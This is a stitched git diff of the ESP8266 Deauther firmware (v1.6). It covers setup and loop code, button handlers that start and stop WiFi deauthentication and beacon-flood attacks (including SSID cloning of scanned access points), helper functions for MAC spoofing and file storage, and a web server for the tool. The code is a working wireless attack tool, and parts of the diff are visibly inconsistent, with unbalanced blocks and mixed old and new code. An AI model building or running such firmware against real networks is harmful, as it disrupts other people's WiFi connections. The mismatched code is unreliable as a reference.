server.on("/clearSSID.json", clearSSID);
server.on("/resetSSID.json", resetSSID);
server.on("/saveSSID.json", saveSSID);
server.on("/restartESP.json", restartESP);
server.on("/addClient.json",addClient);
server.on("/enableRandom.json",enableRandom);
server.begin();
#ifdef USE_DISPLAY
display.init();
display.flipScreenVertically();
pinMode(upBtn, INPUT_PULLUP);
pinMode(downBtn, INPUT_PULLUP);
pinMode(selectBtn, INPUT_PULLUP);
if(displayBtn == 0) pinMode(displayBtn, INPUT);
else pinMode(displayBtn, INPUT_PULLUP);
display.clear();
display.setFont(ArialMT_Plain_16);
display.drawString(0, 0, "ESP8266");
display.setFont(ArialMT_Plain_24);
display.drawString(0, 16, "Deauther");
display.setFont(ArialMT_Plain_10);
display.drawString(100, 28, "v");
display.setFont(ArialMT_Plain_16);
display.drawString(104, 24, "1.6");
display.setFont(ArialMT_Plain_10);
display.drawString(0, 40, "Copyright (c) 2017");
display.drawString(0, 50, "Stefan Kremser");
display.display();
display.setFont(Roboto_Mono_8);
delay(1600);
#endif
#ifdef resetPin
pinMode(resetPin, INPUT_PULLUP);
if(digitalRead(resetPin) == LOW) settings.reset();
#endif
if(debug){
Serial.println("\nStarting...\n");
#ifndef USE_DISPLAY
delay(1600);
#endif
// auto repair when in boot-loop
uint8_t bootCounter = EEPROM.read(0);
if(bootCounter >= 3){
prnt(SETUP_FORMAT_SPIFFS);
SPIFFS.format();
prntln(SETUP_OK);
}else{
EEPROM.write(0, bootCounter + 1); // add 1 to the boot counter
EEPROM.commit();
}
// get time
currentTime = millis();
// start WiFi
WiFi.mode(WIFI_OFF);
wifi_set_opmode(STATION_MODE);
wifi_set_promiscuous_rx_cb([](uint8_t* buf, uint16_t len) {
scan.sniffer(buf, len);
});
// copy web files to SPIFFS
copyWebFiles();
// load settings
settings.load();
// start display
if (settings.getDisplayInterface()){
displayUI.setup();
displayUI.mode = SCREEN_MODE_INTRO;
}
// load everything else
names.load();
ssids.load();
serialInterface.load();
// create scan.json
scan.setup();
// set LED
led.setup();
// set channel
setWifiChannel(settings.getChannel());
// load Wifi settings: SSID, password,...
loadWifiConfigDefaults();
// dis/enable serial command interface
if (settings.getSerialInterface()) {
serialInterface.enable();
} else {
prntln(SETUP_SERIAL_WARNING);
Serial.flush();
Serial.end();
}
// start access point/web interface
if (settings.getWebInterface()) startAP();
// STARTED
prntln(SETUP_STARTED);
// version
prntln(settings.getVersion());
}
void loop() {
if (clientScan.sniffing) {
if (clientScan.stop()) startWifi();
} else {
server.handleClient();
attack.run();
currentTime = millis();
wifiUpdate(); // manage access point
attack.update(); // run attacks
displayUI.update();
serialInterface.update(); // read and run serial input
scan.update(); // run scan
ssids.update(); // run random mode, if enabled
led.update(); // update LED color
// auto-save
if (settings.getAutosave() && currentTime - autosaveTime > settings.getAutosaveTime()) {
autosaveTime = currentTime;
names.save(false);
ssids.save(false);
settings.save(false);
}
if(Serial.available()){
String input = Serial.readString();
if(input == "reset" || input == "reset\n" || input == "reset\r" || input == "reset\r\n"){
settings.reset();
}
if(!booted){
// reset boot counter
EEPROM.write(0, 0);
EEPROM.commit();
booted = true;
}
#ifdef USE_DISPLAY
if (digitalRead(upBtn) == LOW || digitalRead(downBtn) == LOW || digitalRead(selectBtn) == LOW || digitalRead(displayBtn) == LOW){
if(canBtnPress){
if(digitalRead(upBtn) == LOW) buttonPressed = 0;
else if(digitalRead(downBtn) == LOW) buttonPressed = 1;
else if(digitalRead(selectBtn) == LOW) buttonPressed = 2;
else if(digitalRead(displayBtn) == LOW) buttonPressed = 3;
canBtnPress = false;
}
}else if(!canBtnPress){
canBtnPress = true;
// ===== UP =====
if (buttonPressed == 0 && curRow > 0) {
curRow--;
if (lrow - 1 < 0) {
lrow = rowsPerSite - 1;
curSite--;
} else lrow--;
// ===== DOWN =====
} else if (buttonPressed == 1 && curRow < rows - 1) {
curRow++;
if (lrow + 1 >= rowsPerSite) {
lrow = 0;
curSite++;
} else lrow++;
// ===== SELECT =====
} else if (buttonPressed == 2) {
// ===== WIFI on/off =====
if (curRow == 0) {
if (wifiMode == "ON") stopWifi();
else startWifi();
// ===== scan for APs =====
} else if (curRow == 1) {
startAPScan();
drawInterface();
// ===== start,stop deauth attack =====
} else if (curRow == 2) {
if (attackMode_deauth == "START" && apScan.getFirstTarget() > -1) attack.start(0);
else if (attackMode_deauth == "STOP") attack.stop(0);
// ===== start,stop beacon attack =====
} else if (curRow == 3) {
if (attackMode_beacon == "START"){
//clone all selected SSIDs
if(apScan.selectedSum > 0){
int clonesPerSSID = 48/apScan.selectedSum;
ssidList.clear();
for(int i=0;i<apScan.results;i++){
if(apScan.isSelected(i)){
ssidList.addClone(apScan.getAPName(i),clonesPerSSID, apScan.getAPEncryption(i) != "none");
}
}
}
attack.ssidChange = true;
//start attack
attack.start(1);
}
else if (attackMode_beacon == "STOP") attack.stop(1);
}
// ===== select APs =====
else if (curRow >= 4) {
attack.stop(0);
apScan.select(curRow - 4);
}
}
// ===== DISPLAY =====
else if (buttonPressed == 3) {
displayOn = !displayOn;
display.clear();
display.display();
}
screensavertimer = 0;
lastactivity = millis();
} else {
screensavertimer = millis() - lastactivity;
}
if(screensavertimer>saveeafter) {
drawScreenSaver();
} else {
drawInterface();
}
#endif
}

View File

@ -0,0 +1,583 @@
#ifndef functions_h
#define functions_h
#include <FS.h>
#include "ArduinoJson.h"
extern "C" {
#include "user_interface.h"
}
/*
Here is a collection of useful functions and variables.
They are used globally via an 'extern' reference in every class.
Making everything static will lead to problems with the Arduino ESP8266 2.0.0 SDK,
there were some fixed in later version but we need to use the old version for injecting deauth packets.
*/
uint8_t broadcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
uint8_t wifi_channel = 1;
// ===== UTF8 FIX ===== //
String escape(String str){
str.replace(String(BACKSLASH), String(BACKSLASH) + String(BACKSLASH));
str.replace(String(DOUBLEQUOTES), String(BACKSLASH) + String(DOUBLEQUOTES));
return str;
}
bool ascii(char c){
return c >= 0 && c <= 127;
}
bool printableAscii(char c){
return c >= 32 && c <= 126;
}
bool getBit(uint8_t b, uint8_t n){
return (b >> n) % 2 != 0;
}
uint8_t utf8(uint8_t c){
if(!getBit(c,7)) return 1;
if(getBit(c,7) && getBit(c,6) && !getBit(c,5)) return 2;
if(getBit(c,7) && getBit(c,6) && getBit(c,5) && !getBit(c,4)) return 3;
if(getBit(c,7) && getBit(c,6) && getBit(c,5) && getBit(c,4) && !getBit(c,3)) return 4;
return 0;
}
bool utf8Part(uint8_t c){
return getBit(c,7) && !getBit(c,6);
}
String fixUtf8(String str){
int size = str.length();
String result = String();
char c;
uint8_t len;
bool ok;
for(int i=0;i<size;i++){
c = str.charAt(i); // get character
len = utf8(c); // get utf8 char len
if(len <= 1){
result += c; // when 1 byte char, add it :)
}
else if(i + len > size){ // when char bigger than remaining string, end loop
i = size+1;
}
else{
ok = true;
for(int j=1;j<len && ok;j++){
ok = utf8Part(str.charAt(i+j)); // if following char is compliant or not
}
if(ok) result += c; // everything is ok, add char and continue
else { // utf8 char is broken
for(int j=1;j<len;j++){ // go through the next bytes
c = str.charAt(i+j);
if(utf8(c) == 1) result += c; // when byte is ascii, add it :)
}
i += len - 1; // skip utf8 char because we already managed it
}
}
}
return result;
}
String removeUtf8(String str){
str = fixUtf8(str); // fix it in case a utf char is broken
int size = str.length();
String result = String();
char c;
uint8_t len;
for(int i=0;i<size;i++){
c = str.charAt(i); // get character
len = utf8(c); // get utf8 char len
if(len <= 1) result += c; // when 1 byte char, add it :)
else i += len-1; // skip other chars
}
return result;
}
int utf8Len(String str){
int size = str.length();
int result = 0;
char c;
uint8_t len;
for(int i=0;i<size;i++){
c = str.charAt(i); // get character
len = utf8(c); // get utf8 char len
if(len <= 1) result++; // when 1 byte char, add 1 :)
else{
result++;
for(int j=1;j<len;j++){
c = str.charAt(i+j);
if(!utf8Part(c) && utf8(c) == 1){
Serial.println(c, HEX);
result++; // if following char is compliant or not
}
}
i += len - 1;
}
}
return result;
}
String replaceUtf8(String str, String r){
str = fixUtf8(str); // fix it in case a utf char is broken
int size = str.length();
String result = String();
char c;
uint8_t len;
for(int i=0;i<size;i++){
c = str.charAt(i); // get character
len = utf8(c); // get utf8 char len
if(len <= 1) result += c; // when 1 byte char, add it :)
else{
result += r;
i += len-1; // skip other chars
}
}
return result;
}
/* ===== WiFi ===== */
void setWifiChannel(uint8_t ch){
if(ch != wifi_channel && ch > 0 && ch < 15){
wifi_channel = ch;
wifi_set_channel(wifi_channel);
}
}
void setOutputPower(float dBm) {
if (dBm > 20.5) {
dBm = 20.5;
} else if (dBm < 0) {
dBm = 0;
}
uint8_t val = (dBm * 4.0f);
system_phy_set_max_tpw(val);
}
/* ===== MAC ADDRESSES ===== */
bool macBroadcast(uint8_t* mac) {
for (uint8_t i = 0; i < 6; i++)
if (mac[i] != broadcast[i]) return false;
return true;
}
bool macValid(uint8_t* mac) {
for (uint8_t i = 0; i < 6; i++)
if (mac[i] != 0x00) return true;
return false;
}
bool macMulticast(uint8_t* mac) {
// see https://en.wikipedia.org/wiki/Multicast_address
if (mac[0] == 0x33 && mac[1] == 0x33) return true;
if (mac[0] == 0x01 && mac[1] == 0x80 && mac[2] == 0xC2) return true;
if (mac[0] == 0x01 && mac[1] == 0x00 && (mac[2] == 0x5E || mac[2] == 0x0C)) return true;
if (mac[0] == 0x01 && mac[1] == 0x0C && mac[2] == 0xCD && (mac[3] == 0x01 || mac[3] == 0x02 || mac[3] == 0x04) && (mac[4] == 0x00 || mac[4] == 0x01)) return true;
if (mac[0] == 0x01 && mac[1] == 0x00 && mac[2] == 0x0C && mac[3] == 0xCC && mac[4] == 0xCC && (mac[5] == 0xCC || mac[5] == 0xCD)) return true;
if (mac[0] == 0x01 && mac[1] == 0x1B && mac[2] == 0x19 && mac[3] == 0x00 && mac[4] == 0x00 && mac[5] == 0x00) return true;
return false;
}
/* ===== VENDOR LIST (oui.h) ===== */
void getRandomMac(uint8_t* mac) {
int num = random(sizeof(data_vendors) / 11 - 1);
uint8_t i;
for (i = 0; i < 3; i++) mac[i] = pgm_read_byte_near(data_macs + num * 5 + i);
for (i = 3; i < 6; i++) mac[i] = random(256);
}
int binSearchVendors(uint8_t* searchBytes, int lowerEnd, int upperEnd) {
uint8_t listBytes[3];
int res;
int mid = (lowerEnd + upperEnd) / 2;
while (lowerEnd <= upperEnd) {
listBytes[0] = pgm_read_byte_near(data_macs + mid * 5);
listBytes[1] = pgm_read_byte_near(data_macs + mid * 5 + 1);
listBytes[2] = pgm_read_byte_near(data_macs + mid * 5 + 2);
res = memcmp(searchBytes, listBytes, 3);
if (res == 0) {
return mid;
} else if (res < 0) {
upperEnd = mid - 1;
mid = (lowerEnd + upperEnd) / 2;
} else if (res > 0) {
lowerEnd = mid + 1;
mid = (lowerEnd + upperEnd) / 2;
}
}
return -1;
}
String searchVendor(uint8_t* mac) {
String vendorName = String();
int pos = binSearchVendors(mac, 0, sizeof(data_macs) / 5 - 1);
int realPos = pgm_read_byte_near(data_macs + pos*5 + 3) | pgm_read_byte_near(data_macs + pos*5 + 4) << 8;
if (pos >= 0) {
char tmp;
for (int i = 0; i < 8; i++){
tmp = (char)pgm_read_byte_near(data_vendors + realPos * 8 + i);
if(tmp != ENDOFLINE) vendorName += tmp;
tmp += SPACE;
}
}
return vendorName;
}
/* ===== STRING ===== */
String bytesToStr(uint8_t* b, uint32_t size) {
String str;
for (uint32_t i = 0; i < size; i++) {
if (b[i] < 0x10) str += ZERO;
str += String(b[i], HEX);
if (i < size-1) str += DOUBLEPOINT;
}
return str;
}
String macToStr(uint8_t* mac) {
return bytesToStr(mac, 6);
}
bool strToMac(String macStr, uint8_t* mac){
macStr.replace(String(DOUBLEPOINT), String()); // ":" -> ""
macStr.replace("0x", String()); // "0x" -> ""
macStr.replace(String(COMMA), String()); // "," -> ""
macStr.replace(String(DOUBLEQUOTES), String()); // "\"" -> ""
macStr.toUpperCase();
if(macStr.length() != 12){
prntln(F_ERROR_MAC);
return false;
}
for (uint8_t i = 0; i < 6; i++)
mac[i] = strtoul((macStr.substring(i * 2, i * 2 + 2)).c_str(), NULL, 16);
return true;
}
void strToColor(String str, uint8_t* buf){
str.replace(":", "");
str.replace("0x", "");
str.replace(",", "");
str.replace("#", "");
str.toUpperCase();
if(str.length() != 6){
prntln(F_COLOR_INVALID);
return;
}
for (uint8_t i = 0; i < 3; i++)
buf[i] = strtoul((str.substring(i * 2, i * 2 + 2)).c_str(), NULL, 16);
}
String buildString(String left, String right, int maxLen){
String result = left;
int spacesToAdd = maxLen - left.length()/*utf8Len(left)*/ - right.length()/*utf8Len(right)*/;
for(int i=0;i<spacesToAdd;i++){
result += SPACE;
}
result += right;
return result;
}
/* ===== SPIFFS ===== */
bool progmemToSpiffs(const char* adr, int len, String path) {
File f = SPIFFS.open(path, "w+");
if (!f) return false;
for (int i = 0; i < len; i++) {
f.write(pgm_read_byte_near(adr + i));
}
}
bool readFile(String path, String &buf) {
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
File f = SPIFFS.open(path, "r");
if (!f) return false;
if (f.size() == 0) return false;
while (f.available()) buf += (char)f.read();
f.close();
return true;
}
void readFileToSerial(String path, bool showLineNum) {
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
File f = SPIFFS.open(path, "r");
if (!f) {
prnt(F_ERROR_READING_FILE);
prntln(path);
return;
}
uint32_t c = 0;
char tmp;
if(showLineNum){
prnt(buildString(String(),(String)c + String(VERTICALBAR),6));
}
while (f.available()){
tmp = f.read();
prnt(tmp);
if(tmp == NEWLINE && showLineNum){
c++;
prnt(buildString(String(),(String)c + String(VERTICALBAR),6));
}
}
f.close();
}
bool copyFile(String pathFrom, String pathTo){
if(pathFrom.charAt(0) != SLASH) pathFrom = String(SLASH) + pathFrom;
if(pathTo.charAt(0) != SLASH) pathTo = String(SLASH) + pathTo;
if(!SPIFFS.exists(pathFrom)){
prnt(F_ERROR_FILE);
prntln(pathFrom);
return false;
}
File f1 = SPIFFS.open(pathFrom, "r");
File f2 = SPIFFS.open(pathTo, "w+");
if(!f1 || !f2) return false;
while (f1.available()){
f2.write(f1.read());
}
return true;
}
bool renameFile(String pathFrom, String pathTo){
if(pathFrom.charAt(0) != SLASH) pathFrom = String(SLASH) + pathFrom;
if(pathTo.charAt(0) != SLASH) pathTo = String(SLASH) + pathTo;
if(!SPIFFS.exists(pathFrom)){
prnt(F_ERROR_FILE);
prntln(pathFrom);
return false;
}
SPIFFS.rename(pathFrom, pathTo);
return true;
}
bool writeFile(String path, String &buf) {
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
File f = SPIFFS.open(path, "w+");
if (!f) return false;
uint32_t len = buf.length();
for (uint32_t i = 0; i < len; i++)
f.write(buf.charAt(i));
f.close();
return true;
}
bool appendFile(String path, String &buf) {
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
File f = SPIFFS.open(path, "a+");
if (!f) return false;
uint32_t len = buf.length();
for (uint32_t i = 0; i < len; i++)
f.write(buf[i]);
f.close();
return true;
}
void checkFile(String path, String data) {
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
if (!SPIFFS.exists(path))
writeFile(path, data);
}
bool removeLines(String path, int lineFrom, int lineTo){
int c = 0;
char tmp;
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
String tmpPath = str(F_TMP)+path+str(F_COPY);
File f = SPIFFS.open(path, "r");
File f2 = SPIFFS.open(tmpPath, "w");
if (!f || !f2) return false;
while (f.available()){
tmp = f.read();
if(c < lineFrom || c > lineTo)
f2.write(tmp);
if(tmp == NEWLINE) c++;
}
f.close();
f2.close();
SPIFFS.remove(path);
SPIFFS.rename(tmpPath, path);
}
bool replaceLine(String path, int line, String &buf){
int c = 0;
char tmp;
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
String tmpPath = "/tmp"+path+"_copy";
File f = SPIFFS.open(path, "r");
File f2 = SPIFFS.open(tmpPath, "w");
if (!f || !f2) return false;
while (f.available()){
tmp = f.read();
if(c != line)
f2.write(tmp);
else{
f2.println(buf);
while(f.read() != NEWLINE && f.available()){}
c++;
}
if(tmp == NEWLINE) c++;
}
f.close();
f2.close();
SPIFFS.remove(path);
SPIFFS.rename(tmpPath, path);
}
JsonVariant parseJSONFile(String path, DynamicJsonBuffer &jsonBuffer) {
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
//create JSON Variant
JsonVariant root;
//create buffer
String buf = "";
//read file into buffer
if (!readFile(path, buf)) { //if file couldn't be opened, send 404 error
prnt(F_ERROR_OPEN);
prntln(path);
buf = "{}";
}
//parse file-buffer into a JSON Variant
root = jsonBuffer.parse(buf);
//if parsing unsuccessful
if (!root.success()) {
prnt(F_ERROR_PARSING_JSON);
prntln(path);
prntln(buf);
}
return root;
}
bool removeFile(String path) {
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
return SPIFFS.remove(path);
}
void saveJSONFile(String path, JsonObject &root) {
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
//create buffer
String buf;
//convert JSON object into string and write it into buffer
root.printTo(buf);
//if buffer too big
if (buf.length() > 2048) {
prntln(F_ERROR_TO_BIG );
prntln(path);
prntln(buf);
return;
}
//write buffer into SPIFFS file
writeFile(path, buf);
}
void saveJSONFile(String path, JsonArray &root) {
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
//create buffer
String buf;
//convert JSON object into string and write it into buffer
root.printTo(buf);
//if buffer too big
if (buf.length() > 2048) {
prntln(F_ERROR_TO_BIG );
prntln(path);
prntln(buf);
return;
}
//write buffer into SPIFFS file
writeFile(path, buf);
}
String formatBytes(size_t bytes) {
if (bytes < 1024) return String(bytes) + "B";
else if (bytes < (1024 * 1024)) return String(bytes / 1024.0) + "KB";
else if (bytes < (1024 * 1024 * 1024)) return String(bytes / 1024.0 / 1024.0) + "MB";
else return String(bytes / 1024.0 / 1024.0 / 1024.0) + "GB";
}
/*
void parseBytes(const char* str, char sep, byte* bytes, int maxBytes, int base) {
for (int i = 0; i < maxBytes; i++) {
bytes[i] = strtoul(str, NULL, base); // Convert byte
str = strchr(str, sep); // Find next separator
if (str == NULL || *str == '\0') {
break; // No more separators, exit
}
str++; // Point to next character after separator
}
}
*/
#endif

654
esp8266_deauther/language.h Normal file

File diff suppressed because one or more lines are too long

File diff suppressed because it is too large Load Diff

View File

@ -1,240 +0,0 @@
#ifdef USE_DISPLAY
time_t lastactivity = millis();
time_t saveeafter = 100000; // millesecs before screensaver start
time_t screensavertimer = 0;
float angleX, angleY, angleZ;
float lastAngleX, lastAngleY, lastAngleZ;
#define DEBUG false
const double halfC = M_PI / 180;
// Overall scale and perspective distance
uint8_t sZ = 4, scale = 16, scaleMax = 16;
// screen center coordinates (calculated from screen dimensions)
uint8_t centerX = 64;
uint8_t centerY = 32;
typedef struct {
double x;
double y;
double z;
} Coord3DSet;
typedef struct {
double x;
double y;
} Coord2DSet;
typedef struct {
uint16_t id1;
uint16_t id2;
} Lines;
/* https://codepen.io/ge1doot/pen/grWrLe */
static Coord3DSet CubePoints3DArray[21] = {
{ 1, 1, 1 },
{ 1, 1, -1 },
{ 1, -1, 1 },
{ 1, -1, -1 },
{ -1, 1, 1 },
{ -1, 1, -1 },
{ -1, -1, 1 },
{ -1, -1, -1 },
{ 1, 1, 0 },
{ 1, 0, 1 },
{ 0, 1, 1 },
{ -1, 1, 0 },
{ -1, 0, 1 },
{ 0, -1, 1 },
{ 1, -1, 0 },
{ 1, 0, -1 },
{ 0, 1, -1 },
{ -1, -1, 0 },
{ -1, 0, -1 },
{ 0, -1, -1 },
{0, 0, 0}
};
static Coord3DSet CubePoints2DArray[21] = {
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 }
};
static Lines LinesArray[12] = {
{ 0, 1 },
{ 0, 2 },
{ 0, 4 },
{ 1, 3 },
{ 1, 5 },
{ 2, 3 },
{ 2, 6 },
{ 3, 7 },
{ 4, 5 },
{ 4, 6 },
{ 5, 7 },
{ 6, 7 }
/*
{ 1, 4 },
{ 2, 3 },
{ 1, 6 },
{ 2, 5 },
{ 2, 8 },
{ 6, 4 },
{ 4, 7 },
{ 3, 8 },
{ 1, 7 },
{ 3, 5 },
{ 5, 8 },
{ 7, 6 }
*/
};
// used for sorting points by depth
uint16_t zsortedpoints[21] = {0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20};
uint16_t totalpoints = sizeof(CubePoints3DArray) / sizeof(CubePoints3DArray[0]);
uint16_t totallines = sizeof(LinesArray) / sizeof(LinesArray[0]);
void vectorRotateXYZ(double angle, int axe) {
int8_t m1; // coords polarity
uint8_t i1, i2; // coords index
double t1, t2;
uint16_t i;
for( i=0; i<totalpoints; i++ ) {
switch(axe) {
case 1: // X
m1 = -1;
t1 = CubePoints3DArray[i].y;
t2 = CubePoints3DArray[i].z;
CubePoints3DArray[i].y = t1*cos(angle)+(m1*t2)*sin(angle);
CubePoints3DArray[i].z = (-m1*t1)*sin(angle)+t2*cos(angle);
break;
case 2: // Y
m1 = 1;
t1 = CubePoints3DArray[i].x;
t2 = CubePoints3DArray[i].z;
CubePoints3DArray[i].x = t1*cos(angle)+(m1*t2)*sin(angle);
CubePoints3DArray[i].z = (-m1*t1)*sin(angle)+t2*cos(angle);
break;
case 3: // Z
m1 = 1;
t1 = CubePoints3DArray[i].x;
t2 = CubePoints3DArray[i].y;
CubePoints3DArray[i].x = t1*cos(angle)+(m1*t2)*sin(angle);
CubePoints3DArray[i].y = (-m1*t1)*sin(angle)+t2*cos(angle);
break;
}
}
}
/* sort xyz by z depth */
void zSortPoints() {
bool swapped;
uint16_t temp;
float radius, nextradius;
do {
swapped = false;
for(uint16_t i=0; i!=totalpoints-1; i++ ) {
radius = (-CubePoints3DArray[zsortedpoints[i]].z+3)*2;
nextradius = (-CubePoints3DArray[zsortedpoints[i+1]].z+3)*2;
if (radius > nextradius) {
temp = zsortedpoints[i];
zsortedpoints[i] = zsortedpoints[i + 1];
zsortedpoints[i + 1] = temp;
swapped = true;
}
}
} while (swapped);
}
/* draw scaled spheres from background to foreground */
void spherePlot() {
uint16_t i;
int radius, halfradius;
int transid;
for( i=0; i<totalpoints; i++ ) {
transid = zsortedpoints[i];
CubePoints2DArray[transid].x = centerX + scale/(1+CubePoints3DArray[transid].z/sZ)*CubePoints3DArray[transid].x;
CubePoints2DArray[transid].y = centerY + scale/(1+CubePoints3DArray[transid].z/sZ)*CubePoints3DArray[transid].y;
radius = (-CubePoints3DArray[transid].z+3)*2.5;
halfradius = radius / 2;
display.setColor(BLACK);
//display.fillCircle(CubePoints2DArray[transid].x, CubePoints2DArray[transid].y, radius-1);
display.fillCircle(CubePoints2DArray[transid].x, CubePoints2DArray[transid].y, radius+1);
display.setColor(WHITE);
display.drawCircle(CubePoints2DArray[transid].x, CubePoints2DArray[transid].y, radius);
display.fillCircle(CubePoints2DArray[transid].x+halfradius-1, CubePoints2DArray[transid].y+halfradius-1, halfradius);
}
}
/* draw lines between given pairs of points */
void meshPlot() {
uint16_t i;
uint16_t id1, id2;
for( i=0; i<totallines; i++ ) {
id1 = LinesArray[i].id1;
id2 = LinesArray[i].id2;
display.drawLine(CubePoints2DArray[id1].x, CubePoints2DArray[id1].y, CubePoints2DArray[id2].x, CubePoints2DArray[id2].y);
}
}
void drawScreenSaver() {
float diffAngleX, diffAngleY, diffAngleZ;
diffAngleX = lastAngleX - angleX;
diffAngleY = lastAngleY - angleY;
diffAngleZ = lastAngleZ - angleZ;
vectorRotateXYZ((double)(diffAngleY+0.1)*halfC, 1); // X
vectorRotateXYZ((double)(diffAngleX+0.1)*halfC, 2); // Y
vectorRotateXYZ((double)diffAngleZ*halfC, 3); // Z
zSortPoints();
display.clear();
meshPlot();
spherePlot();
display.display();
}
#endif

File diff suppressed because one or more lines are too long

306
esp8266_deauther/wifi.h Normal file
View File

@ -0,0 +1,306 @@
#ifndef WifiManager_h
#define WifiManager_h
#include <ESP8266WiFi.h>
#include <WiFiClient.h>
#include <ESP8266WebServer.h>
#include <DNSServer.h>
#include <ESP8266mDNS.h>
#include <FS.h>
#define WIFI_MODE_OFF 0
#define WIFI_MODE_AP 1
#define WIFI_MODE_STATION 2
/*
This file contains all necessary functions for hosting and connecting to an access point.
For compatibility and simplicity, all those functions are global.
*/
ESP8266WebServer server(80);
DNSServer dnsServer;
IPAddress apIP(192, 168, 4, 1);
IPAddress netMsk(255, 255, 255, 0);
File fsUploadFile;
uint8_t wifiMode = WIFI_MODE_OFF;
bool wifi_config_hidden = false;
bool wifi_config_captivePortal = false;
String wifi_config_ssid = str(W_PWNED);
String wifi_config_password = str(W_DEAUTHER);
String wifi_config_path = str(W_WEBINTERFACE);
void stopAP(){
if(wifiMode == WIFI_MODE_AP){
wifi_promiscuous_enable(0);
WiFi.persistent(false);
WiFi.disconnect(true);
wifi_set_opmode(STATION_MODE);
prntln(W_STOPPED_AP);
wifiMode = WIFI_MODE_STATION;
}
}
void wifiUpdate() {
if (wifiMode != WIFI_MODE_OFF && !scan.isScanning()) {
server.handleClient();
yield();
dnsServer.processNextRequest();
yield();
}
}
String getWifiMode(){
switch(wifiMode){
case WIFI_MODE_OFF:
return W_MODE_OFF;
break;
case WIFI_MODE_AP:
return W_MODE_AP;
break;
case WIFI_MODE_STATION:
return W_MODE_ST;
break;
default:
return String();
}
}
String getContentType(String filename) {
if (server.hasArg(str(W_DOWNLOAD).c_str())) return str(W_STREAM);
else if (filename.endsWith(str(W_DOT_GZIP).c_str())) filename = filename.substring(0,filename.length()-3); //return str(W_GZIP);
else if (filename.endsWith(str(W_DOT_HTM).c_str())) return str(W_HTML);
else if (filename.endsWith(str(W_DOT_HTML).c_str())) return str(W_HTML);
else if (filename.endsWith(str(W_DOT_CSS).c_str())) return str(W_CSS);
else if (filename.endsWith(str(W_DOT_JS).c_str())) return str(W_JS);
else if (filename.endsWith(str(W_DOT_PNG).c_str())) return str(W_PNG);
else if (filename.endsWith(str(W_DOT_GIF).c_str())) return str(W_GIF);
else if (filename.endsWith(str(W_DOT_JPG).c_str())) return str(W_JPG);
else if (filename.endsWith(str(W_DOT_ICON).c_str())) return str(W_ICON);
else if (filename.endsWith(str(W_DOT_XML).c_str())) return str(W_XML);
else if (filename.endsWith(str(W_DOT_PDF).c_str())) return str(W_XPDF);
else if (filename.endsWith(str(W_DOT_ZIP).c_str())) return str(W_XZIP);
else if (filename.endsWith(str(W_DOT_JSON).c_str())) return str(W_JSON);
return str(W_TXT);
}
bool handleFileRead(String path) {
prnt(W_AP_REQUEST);
prnt(path);
if (!path.charAt(0) == SLASH) path = String(SLASH) + path;
if (path.charAt(path.length()-1) == SLASH) path += str(W_INDEX_HTML);;
String contentType = getContentType(path);
if (!SPIFFS.exists(path)) {
if (SPIFFS.exists(path + str(W_DOT_GZIP))) path += str(W_DOT_GZIP);
else if (SPIFFS.exists(wifi_config_path + path)) path = wifi_config_path + path;
else if (SPIFFS.exists(wifi_config_path + path + str(W_DOT_GZIP))) path = wifi_config_path + path + str(W_DOT_GZIP);
else {
prntln(W_NOT_FOUND);
return false;
}
}
File file = SPIFFS.open(path, "r");
server.streamFile(file, contentType);
file.close();
prnt(SPACE);
prntln(W_OK);
return true;
}
void handleFileUpload() {
if (server.uri() != W_EDIT) return; // only allow uploads on /edit address
HTTPUpload& upload = server.upload();
if (upload.status == UPLOAD_FILE_START) {
String filename = upload.filename;
if (!filename.charAt(0) == SLASH) filename = String(SLASH) + filename;
//Serial.print("handleFileUpload Name: ");
//Serial.println(filename);
fsUploadFile = SPIFFS.open(filename, "w");
filename = String();
} else if (upload.status == UPLOAD_FILE_WRITE) {
//Serial.print("handleFileUpload Data: ");
//Serial.println(upload.currentSize);
if (fsUploadFile)
fsUploadFile.write(upload.buf, upload.currentSize);
} else if (upload.status == UPLOAD_FILE_END) {
if (fsUploadFile)
fsUploadFile.close();
//Serial.print("handleFileUpload Size: ");
//Serial.println(upload.totalSize);
}
}
void handleFileDelete() {
if (server.args() == 0) return server.send(500, str(W_TXT), str(W_BAD_ARGS));
String path = server.arg(0);
//Serial.println("handleFileDelete: " + path);
if (path == String(SLASH))
return server.send(500, str(W_TXT), str(W_BAD_PATH));
if (!SPIFFS.exists(path))
return server.send(404, str(W_TXT), str(W_FILE_NOT_FOUND));
SPIFFS.remove(path);
server.send(200, str(W_TXT), String());
}
void handleFileCreate() {
if (server.args() == 0)
return server.send(500, str(W_TXT), str(W_BAD_ARGS));
String path = server.arg(0);
//Serial.println("handleFileCreate: " + path);
if (path == String(SLASH))
return server.send(500, str(W_TXT), str(W_BAD_PATH));
if (SPIFFS.exists(path))
return server.send(500, str(W_TXT), "FILE EXISTS");
File file = SPIFFS.open(path, "w");
if (file)
file.close();
else
return server.send(500, str(W_TXT), "CREATE FAILED");
server.send(200, str(W_TXT), "");
}
void handleFileList() {
if (!server.hasArg(str(W_DIR).c_str())) {
server.send(500, str(W_TXT), str(W_BAD_ARGS));
return;
}
String path = server.arg(str(W_DIR).c_str());
//Serial.println("handleFileList: " + path);
Dir dir = SPIFFS.openDir(path);
String output = "[";
while (dir.next()) {
File entry = dir.openFile("r");
if (output != "[") output += COMMA;
bool isDir = false;
output += " {\"type\":\"";
output += (isDir) ? str(W_DIR) : "file";
output += "\",\"name\":\"";
output += String(entry.name()).substring(1);
output += "\"}";
entry.close();
}
output += "]";
server.send(200, str(W_JSON).c_str(), output);
}
